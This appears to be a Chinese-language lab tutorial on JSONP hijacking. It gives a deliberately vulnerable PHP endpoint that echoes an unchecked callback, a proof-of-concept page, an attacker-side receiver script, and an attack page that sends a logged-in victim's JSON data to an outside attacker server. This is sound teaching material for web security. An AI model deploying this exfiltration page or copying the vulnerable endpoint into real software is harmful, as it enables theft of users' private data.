我认为,无论是学习安全还是从事安全的人,多多少少都有些许的情怀和使命感!!!
JSON是一种轻量级的数据交换格式,而劫持就是对数据进行窃取(或者应该称为打劫、拦截比较合适。恶意攻击者通过某些特定的手段,将本应该返回给用户的JSON数据进行拦截,转而将数据发送回给恶意攻击者,这就是JSON劫持的大概含义。一般来说进行劫持的JSON数据都是包含敏感信息或者有价值的数据。
攻击方法与csrf类似,都是需要用户登录帐号,在身份认证还没有被消除的情况下访问攻击者精心设计好的的页面。就会获取json数据
,把json数据发送给攻击者的远程WEB服务器上。
找到存在json漏洞类型的页面,攻击者的远程WEB服务器上写好攻击页面,诱导目标访问该页面,从而获取受害者的json数据。
json.php
header('Content-type: application/json');
$callback = $_GET['callback'];
print $callback.'({"id" : "1","name" : "qwsn","email":"[email protected]"});';
//这里做了简化,这里的print应该是在登录后,才会显示的一些json数据!!!
?>
如下图所示,http://www.webtester.com/json.php
页面就是我们靶机上的json漏洞页面
json-poc.html
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>jsonp劫持</title>
<script src="http://apps.bdimg.com/libs/jquery/1.10.2/jquery.min.js"></script>
</head>
<body>
<script>function jsonp2(data){alert(JSON.stringify(data));}</script>
<script src="http://www.webtester.com/json.php?callback=jsonp2"></script>
<!--这里的src是靶机的json漏洞页面-->
</body>
</html>
如下图所示,我们本地访问json-poc.html
后,成功弹出了json.php页面的json数据,因此存在漏洞!!!
第一步: 攻击者的远程服务器上准备好receive.php
,用来接收发送来的json数据,并保存到当前目录下的json.txt内。
if($_GET['file']){
file_put_contents('json.txt',$_GET['file'])
}
?>
第二步: 准备好json-attack.html
页面,模拟受害者点击该页面,那么json.php页面的json数据就会发送给攻击者远程服务器上的receive.php(在受害者已认证对json.php认证后,由以上的源码分析,我们可以知道这里我们没有做认证,直接把json数据打印了出来),receive.php又把接收来的数据保存到json.txt内。
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title></title>
<script src="http://apps.bdimg.com/libs/jquery/1.10.2/jquery.min.js"></script>
<script>
function test(data){
//alert(v.name);
var xmlhttp = new XMLHttpRequest();
var url = "http://www.exploit.cool/exp/json/receive.php?file=" + JSON.stringify(data);
//url的内容是攻击者的远程WEB服务器上的receive.php
//其功能是当受害者访问了当前页面时,就会把json内容发送给攻击者的receive.php
xmlhttp.open("GET",url,true);
xmlhttp.send();
}
</script>
<script src="http://www.webtester.com/json.php?callback=test"></script>
<!--src的内容是靶机的json漏洞页面-->
</head>
<body>
</body>
</html>
如下图所示,受害者访问了含有攻击代码的json-attack.html页面,紧接着攻击者的远程服务器就接收到了json.php漏洞页面的json数据。